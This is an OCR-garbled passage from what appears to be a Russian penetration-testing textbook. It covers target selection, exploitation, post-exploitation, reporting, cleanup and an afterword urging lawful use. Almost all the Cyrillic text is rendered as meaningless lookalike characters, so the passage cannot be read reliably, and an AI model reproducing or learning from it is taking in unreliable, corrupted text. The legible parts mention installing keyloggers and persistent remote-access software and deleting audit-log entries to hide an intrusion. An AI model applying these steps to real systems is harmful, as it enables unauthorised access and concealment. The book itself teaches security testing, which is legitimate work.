Ha maHOM 3Talie BbI OyieTe UCIOIb30BaTh HAMIEHHbBIE YSI3SBUMOCTHU JIJIST KOMITPO-
MeTal HCHEBOﬁ CHUCTEMDI U TTIOJTYyYE€HUA JOCTYIIa K Hell. Bbl JOJIKHBI CIIOJIb30BAaTh
HOJYYeHHYT0 NHOOPMAIHUIO VISl OTIPE/IesIEHUST TTOIXO/ISIIEH 11eJTH; TOMHUTE, YTO
HEOOXOMMO BBIGPATH Ty YSI3BUMYIO CUCTEMY U3 MHOKECTBA HAWJEHHBIX, B3JTOM
KOTOPO# MPeI0CTaBUT B fajibHeleM HanboJbiiue npenMyiectsa. Haiis, narnpu-
Mep, MHOKECTBO YSI3BUMBIX PabOYMX CTAHIUN U HECKOJIBKO CEPBEPOB, JIyUIle CO-
CPeI0OTOYNTDH CBO€ BHUMaHNE Ha ITOCJIEJHUX, TaK KaK UX B3JIOM ITIOMOJKET pa3BHUBaThb
HaJbHEIy o araky 6oJiee 3(hHEKTUBHO.

[Tocsie ornpenenenus 1ean Bbl 10JKHBI MCIIOJIb30BATh BCE CBOM IIPAKTHYECKUE Ha-
BBIKU W 3HAHWS JJIst TOTO, 4TOOBI CKOMIIPOMETHPOBATH ee. BIosiHe BO3MOXKHO, 4TO
C TIEPBOTO Pa3a y BAC HE BCE MOJYYUTCST M BaM IIPUJIETCS IEPETPOOOBATH MHOKECTBO
METO/I0B, IPEK/IE UM BBI JOCTUTHETE 5KETAeMOT0 Pe3yIbTaTa.

CambiMu MOonyJaAaApHbIMU TUIIAMU aTaK ABJIAIOTCA:
® B3JIOM I1apOJId,

® [epexBarT JIaHHBIX;

® JIepexBaT CeCCHU;
[ ]

neperoJiHeHue Oydepa.

Bce o1 Ti1ibl (1 He TOJIBKO IPUBEIEHHbIE BhIIIE) ObLIN PACCMOTPEHBL B IJIaBaX JaH-
HOM KHUTH: T71aBe 9 «Bamom maposeiis, rmase 10 «Ilepexsat nrbopmariis, riase 15
«ITepenosnHenue 6ydepas ), HO TOMHKTE, YTO ATAKK MOTYT OBITh MHOTOKOMIIOHEHT-
HBIMU U BKJIIOYATh B ce0sl KaK TEXHUYECKHIA, TaK 1 4eJI0BeYecKuil (hakTop.

|_|OCT3KCI'IJ'IyaTaL|,VIOHHbIl‘;I 3Tar

ITocie TOro Kak Ballla aTaka 3aBepLIMJIACH YCIIEXOM, BaM HEOOXOIMMO 3aKPenuThCsI
B CHICTeMe, 9TOObI CIeIaTh SKCILIyaTalMIo aTaKOBaHHOII mesm Gostee ynoonoii. ITocse
3aKpeIIeHnst BaM He IPUAETCS KasK/Iblil pa3 3aHOBO B3JIaMbIBaTh CUCTEMY, YTOObI BbI-
TTOJTHUTD HY>KHBIE BaM JIEHCTBUST; KPOME TOTO, y/IauHast 9KCILTyaTaIns OHOW 1 TOH
JKe YA3BUMOCTH MOKET CTaTh HEBO3MOKHOI OYKBaJIBHO Cpasy JKe TOC/Ie B3JIoMa.

Jluist Hauasia HeOOXOAMMO OIIPE/IeJIUTh YPOBEHb CBOUX MPaB B CUCTeMe U Habop J10-
CTYTIHBIX BaM JieicTBui. BriosiHe BO3MOKHO, YTO BBITIOJTHEHME HEKOTOPBIX ollepariuii
Oy/leT HeZIOCTYITHO, TOT/Ia CTOUT 3aJlyMaThCsl O BO3MOKHOCTHU MOBBIIIEHUS CBOUX
TIPUBUJIETU.

Kakwue zpeficTBug coBepiuialoTcs Ha JaHHOM aTtane? Bbl MoxkeTe 3allyCTUTh KJIaBHa-
TYPHBII IITHOH, KOTOPBIN BBIIIJIET BaM HapoJib aIMUHUCTPATOPA I10C/Ie TOTO, KaK OH
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3aiiyieT B cucteMy. Bel MoKeTe CKOTMPOBaTh MH(MOPMAIIHIO O TTAPOJISIX JIJIST TOCJIeTy-
IOLIero aHaiusa uin ycranosutb 110, kotopoe obeciiednT BaM JaJbHeNIIuii JoCTy
K CUCTEeMe U BO3MOKHOCTD €€ yIaJIeHHOTO KOHTPOJIS. Takike MOKHO y/IaTUuTh CJIE/IbI
Baniero Hpe6bIBaHI/I${ B cucreme, O6bI‘{HO 9TO IOCTUTAETCA ITyTEM Y/IaJ€HUA HYKHBIX
3anmceil U3 JKypHaJIOB ayInTa.

OTtyeT

[Mocse MPOXOKAEHMST BCEX OMMCAHHBIX BBIIIE ITAMOB HEOOXOANMO CO3/IaTh OTUET.
OT4eTbl MOTYT UMETH PA3TUYHBIN BUJI; KAKOW OTYET JOJIKEH OBITh MPEACTaBICH
B KaXK/IOM KOHKPETHOM CJTydae, HeOOX0MMO OOCYIUTh TIEPE/l HAYaIOM TECTa, O YeM
pacckas3biBaoch B riiaBe 5 «OTyeTnis.

Hecmotps Ha pasHOOGpasie BO3MOKHBIX (POPM OTUETOB, CYIIECTBYIOT OTIPEIe/ICHHbIE
IIYHKTbI, KOTOPbIE JI0JIKHBI IIPUCYTCTBOBATH B JII000M 13 HUX. KaKIblii oTueT 10/KeH
HAYMHATBCS ¢ KPATKOro 0030pa IIPollecca TECTUPOBAHIS, B 9TOM Paszieie HeT Heo0X0-
JIMMOCTU OIUCBHIBATH TEXHUYECKHUE JETAIN KAKIOTO 111ara, 3/[eCh OTPAKAIOTCS TOJIBKO
KJIFOU€eBbIe MOMEHTBI. J{asiee HeOGXOAUMO IPUBECTU CITUCOK HANIEHHBIX YSI3BUMOCTEN
U X aHAJIW3, TPUYEM JIydllie CrPYIITUPOBATh X IO CTENEHN BaKHOCTH, HAIIPUMEP:
KPUTHYECKUE, BA)KHbIE, HE3HAYUTEIbHBIE.

OTuer JoJIKeH BKII0YaTh B ce0s CIeAyIoNyio nHbOpPMaIo:

® CIleHapW¥ 1 OTTMCaHNe BCEX YCIENTHBIX aTaK;

JleTaJIbHOE TIPe/ICTaBJICHNE TAHHBIX, TTOJTYUYeHHBIX B XOJI€ TECTa,
yKa3aHWe BCeX HalJIeHHBIX YSI3BUMOCTel;

oImMcaHue BceX HaleHHbIX yHBBI/IMOCTeI;'I;

MIPe/IVIOKeHNST U TEXHUYeCKre pPellieHns JIJIsT yCTPaHeH!sT Hal/IeHHBIX YsI3BUMO-
cTe.

JLJ1st oCIe Y IOIIEro CO3aHmsl XOPOIIEro OTYeTa [0 X0y IPOBEIeHIs TecTa HeoOX0-
JIIMO 3aITUCBIBATh BCE CBOM JIEHCTBUS B JII060# y06HOI 17151 Bac hopme.

3a4nUCTKa

[Tocsie yauHOTO 3aBEpIIeHNs TeCTa HEOHGXOANMO MO BO3MOKHOCTH YAAIUTH CJIEIbI
BCeX BallluX ﬂeﬁCTBHfI — HUMEIOTCA B By YCTaHOBJIEHHbBIE IIPOTPaMMbl, CO3/IaHHbIE
M0JIH30BATEJIN, U3MEHEHUsT KOH(MUTYPAIIH 1 BCE OCTAIBHOE, UTO BBI YCIIEJHU CIENATH
B XOJI€ TecTa, 4T0 MoAPoGHO paccMoTpero B TiiaBe 13 «Cokpbitue ciieoBs. JIroObie
OCTaBJIEHHbIE BaMHU JIa3eKN1 MOTyT 6LITB HCITOJIb30OBaHbI 3JIOYMbINIJIEHHUKOM JIJIST
HOJTy4eHUsT HECAHKIMOHMPOBAHHOTO JIOCTYTIA K YK€ CKOMIIPOMETUPOBAHHON BaMU
cHCTEME.
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ObpalleHune K yutaTento

YBaskaembrii untatesib! XoTs1 B 3TON KHUTE NIPUBEJIEHbBI JIUIIIHL OCHOBHBIE U CaMble
pacrpocTpaHeHHbie METO/[bl, IIPUMEHsIEMbIE CIelUaIucTaMu B 00aacT uH(popMa-
LOHHOII 06e30IIaCHOCTH, He PacCTPauBaiiTeCh, €C/IU BaM He YAACTCS BOCIPOU3BECTH
WX C TIEPBOTO pasa.

Korna aBTop MaHHOI KHUTH JIesiajl CBOM TEPBBIE MArd B MUPe MH(GOPMAITMOHHbBIX
TexHoJjioruit, on nepeycranasausail BCIO onepanuonunyio cucreMy TOJbKO U3-3a
TOTO, YTO BO BPEMST HHCTAJIAIIY 3a0BIBAJl YCTAHOBUTDH KAKOW-TM60 KOMIIOHEHT.
[Ipobyiite, ccmepyiiTe, ynTaiite U ACIUTECH OTIBITOM, — TOJBKO TaK BBl CMOJKETE
JIOCTUYb HACTOSIIITMX BEPITMH MACTEPCTBA.

«Teopust 6e3 MPaKTUKN MePTBa 1 HECTIIOHA, a TPaKTHKA 6e3 Teopuu Hecroe3Ha
u mary6mas, — ckazan [Macdmytnii JIsosrd YeObiTeBs, BETUKHI PYCCKIIT MaTEMATHK
n mexannk XIX Beka. He mibiTaiiTech mpocTo MOBTOPUTH TIPUBE/IEHHBIE TTPUMEPHI —
OCMBICJIMBATE UX, 3a/[aBaiiTe cebe BOIPOCHI U UIUTE HA HUX 0TBeThl. He Goiirech
CJIMTITKOM YTJIYOUTHCS B KAKYIO-TO OJIHY 00JIaCTh — B KOHIIE KOHIIOB, CPEJIH CTIeTN-
ATUCTOB O UHGMOPMAITHOHHON GE30MACHOCTH TaKyKe CYIECTBYIOT Y3KHUe CIenn-
amncThl. Bee 3HATH HEBO3MOJKHO, M3ydaiiTe TO, 9YTO BAM HPABUTCsI, OY/Ib TO aHAJN3
BeO-TIPUTOKEHH, COTMATbHAST MHIKEHEPHST MJTH TIOVCK YSI3BIMOCTEH B ITPOTPAMMHOM
obecrieueHnu.

He 3abbiBaiite 0 co3nanuu JabopaTopum, mycTh Jake Buptyaabuoil. OHa Gyjer xo-
POIINM TIO/ICTIOPHEM B OTTAYMBAHUHN MTPAKTUYECKNX HABBIKOB TI€PE/] UX IIPUMEHECHNEM
B PealbHOM MUPE.

Cosnasaiite nmpoeccroHaibHble cOOOTIECTBA WM TIPUHUMAITE aKTUBHOE y4acTHe
B pabore cyriecTByonux. IMEHHO OT KOJLJIET IO XY MOKHO Y3HATh CaMyIo aKTy-
anpHyto mHbopMaro. VHnoraa mocse Gecepl ¢ APYTHM CIETTHATHCTOM TPUXOIST
caMble HeO)KUTAHHbIEe PETTEHNsT TPOOIEMbI, Hall KOTOPOH BB OGUITHCH TIOCIETHION0
HeIeITio, MecstI] Wit aske rof1. He Goiitech mpusHAThCsE cebe U APYTHM B TOM, UTO BbI
4Yero-To He 3HaeTe, — 9TO HOPMaJIbHO.

ITomoraiite apyrum u obyyaiite UX; MHOTA BAlIX YYEHUKK MOTYT BaM 3a/1aBaTh BO-
IIPOCHI, OTBETOB HA KOTOPBIE Y Bac He Oy/IeT, — BOCIIPUHUMANTE 3TO KaK BO3MOKHOCTD
passuBathes. [la, B Xoze IpenogaBanus BaM IPUAETCs 00bICHATD OUeBUIHbIE BEIU
TBICSUY Pas, 3aT0 HTO IIOMOKET BaM CaMUM He 3a0bITh MX M HE JOIYCTUTh HOCTBIIHYIO
JUIST BBICOKOKJIACCHOTO IIpodheccruoHata omnbKy HOBUYKA.
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He 3abbiBaiite 3010T0€ TIpaBuio MHGOPMAIMOHHON 6E30MaACHOCTH: «HUKTO U HU-
KOTJIa He HaXOAMTCS B Oes3onacHocTH». He cyliecTByer cucreM, KOTOPbIe HeJIb3st
B3JIOMATb, CYIECTBYIOT JIMIIb JIIOJU, Y KOTOPBIX HEJOCTATOUYHO JIJISl 9TOTO OIIbITa,
3HAHUI, CMEKAJIKU WJIX BCETO ATOTO cpasy. B Mupe nHMOpMaIlnOHHbIX TEXHOJIOTUI
€CTh TBICAYU TPUMEPOB B3JI0Ma MH(MOPMAITMOHHBIX CUCTEM B CUTYAITUSX, KOT/IA ajl-
MIHUCTPATOPbI He YIEJISJIN JOJKHOTO BHUMAHUS O€30TTaCHOCTH, TIOHAJESIBIIIACH Ha
OpeH I ¢ TPOMKHUM UMEHEM U pa3paboTYNKOB MIPOAYKTA.

Hazeioch, 4o BCIo IOJyYeHHYIO B 9TO# KHUTe MHMOPMAIIUIO BbI OyeTe UCTIOIb30-
BaTh UCKJIIOUUTETLHO B PAMKAX [TPABOBOTO IOJIST UK KAaK MUHUMYM BO OJIaro BCEro
YeJI0BEYECTBA.

Ynayn!
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